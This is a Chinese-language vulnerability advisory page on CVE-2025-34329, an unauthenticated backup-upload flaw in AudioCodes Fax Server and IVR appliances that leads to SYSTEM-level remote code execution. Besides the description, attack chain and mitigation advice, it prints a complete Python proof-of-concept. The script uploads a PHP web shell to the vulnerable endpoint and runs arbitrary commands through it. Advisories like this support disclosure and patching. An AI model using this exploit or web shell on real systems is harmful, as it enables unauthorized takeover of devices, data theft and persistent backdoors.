IPBUF安全漏洞报告
English
CVE-2025-34329 CVSS 9.8 严重

CVE-2025-34329 AudioCodes Fax Server未授权备份上传导致RCE

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-34329
漏洞类型
远程代码执行、任意文件上传
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
AudioCodes Fax Server and Auto-Attendant IVR appliances

相关标签

CVE-2025-34329AudioCodes未授权文件上传远程代码执行RCEFax ServerIVRCriticalCVSS 9.8无认证

漏洞概述

AudioCodes Fax Server和Auto-Attendant IVR设备存在严重的安全漏洞,攻击者可以通过未授权的备份上传功能实现远程代码执行。该漏洞影响2.6.23及以下所有版本。漏洞位于F2MAdmin Web管理界面的AudioCodes_files/ajaxBackupUploadFile.php端点,该端点缺少任何认证机制,允许未经身份验证的远程攻击者上传任意文件。攻击者利用此漏洞可以上传包含恶意代码的配置文件,并通过操纵服务器日志或资源文件实现代码执行。由于Web服务以NT AUTHORITY\SYSTEM权限运行,攻击成功后可直接获得系统级完全控制权。此漏洞无需任何用户交互,CVSS评分高达9.8,属于紧急严重级别,建议立即采取修复措施。

技术细节

该漏洞的核心问题在于ajaxBackupUploadFile.php脚本存在多个安全缺陷。首先,脚本完全缺少认证检查,任何远程用户都可以直接访问该端点。其次,脚本从应用配置中获取备份目录路径,在默认Windows部署中该路径会解析到系统驱动器根目录,这是一个关键的安全风险点。第三,脚本使用攻击者可控的文件名直接移动上传的文件,完全忽略了文件类型验证和白名单机制。攻击者可以上传.php、.config、.xml等配置文件,或者利用Apache/Nginx的日志写入功能将恶意代码注入日志文件。当后续HTTP请求触发这些被当作可执行代码的资源时,服务器将以NT AUTHORITY\SYSTEM权限执行任意命令。这种权限级别意味着攻击者可以完全控制系统、执行横向移动、安装后门或窃取敏感数据。

攻击链分析

STEP 1
步骤1: 发现未授权端点
攻击者识别出AudioCodes Fax Server的F2MAdmin管理界面中存在未认证的备份上传端点AudioCodes_files/ajaxBackupUploadFile.php,该端点不需要任何身份验证即可访问
STEP 2
步骤2: 上传恶意文件
攻击者构造包含PHP代码或服务器配置指令的恶意文件,通过ajaxBackupUploadFile.php端点上传到服务器。由于脚本使用攻击者可控的文件名且无文件类型验证,恶意文件被直接保存
STEP 3
步骤3: 路径利用
在默认Windows部署中,备份目录路径解析到系统驱动器根目录,攻击者可以利用Apache/Nginx的日志写入功能或配置文件的解析特性,将恶意代码注入可执行资源
STEP 4
步骤4: 代码执行触发
攻击者发送HTTP请求访问上传的恶意文件或被污染的日志文件,服务器将其作为可执行代码解析并执行,此时命令以NT AUTHORITY\SYSTEM权限运行
STEP 5
步骤5: 系统完全控制
成功执行任意命令后,攻击者获得系统级完全控制权,可执行横向移动、数据窃取、安装持久化后门等后续攻击行动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-34329 AudioCodes Fax Server Unauthenticated RCE PoC Reference: https://www.vulncheck.com/advisories/audiocodes-fax-ivr-appliance-unauthenticated-backup-upload-rce-via-ajaxbackupuploadfile """ import requests import sys TARGET = "http://target:80" # Replace with actual target UPLOAD_ENDPOINT = f"{TARGET}/AudioCodes_files/ajaxBackupUploadFile.php" def check_vulnerability(): """Check if target is vulnerable by uploading a test file""" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', } # Create malicious PHP backdoor file files = { 'file': ('test.php', '<?php phpinfo(); ?>', 'application/x-php') } try: response = requests.post(UPLOAD_ENDPOINT, files=files, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200 and 'success' in response.text.lower(): print("[+] Target appears to be vulnerable!") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def exploit_rce(cmd): """Execute arbitrary command via log poisoning or config file upload""" # Step 1: Upload malicious config to poison log file config_payload = '<?php system($_GET["cmd"]); ?>' files = { 'file': ('shell.php', config_payload, 'application/octet-stream') } response = requests.post(UPLOAD_ENDPOINT, files=files, timeout=10) # Step 2: Trigger command execution shell_url = f"{TARGET}/AudioCodes_files/shell.php" try: exec_response = requests.get(f"{shell_url}?cmd={cmd}", timeout=10) return exec_response.text except: return None if __name__ == "__main__": print("[*] CVE-2025-34329 AudioCodes RCE Exploit") if check_vulnerability(): print("[+] Exploiting...") result = exploit_rce("whoami") if result: print(f"[+] Command output: {result}")

影响范围

AudioCodes Fax Server <= 2.6.23
AudioCodes Auto-Attendant IVR <= 2.6.23

防御指南

临时缓解措施
立即在网络边界设备(如防火墙、WAF)上阻断对AudioCodes_files/ajaxBackupUploadFile.php端点的外部访问。如果业务确实需要该功能,应在应用层实现基于会话令牌的强身份认证,并增加文件类型验证、文件名白名单和上传频率限制等安全控制。同时考虑将Web服务迁移至低权限账户运行,并监控异常的文件上传和访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表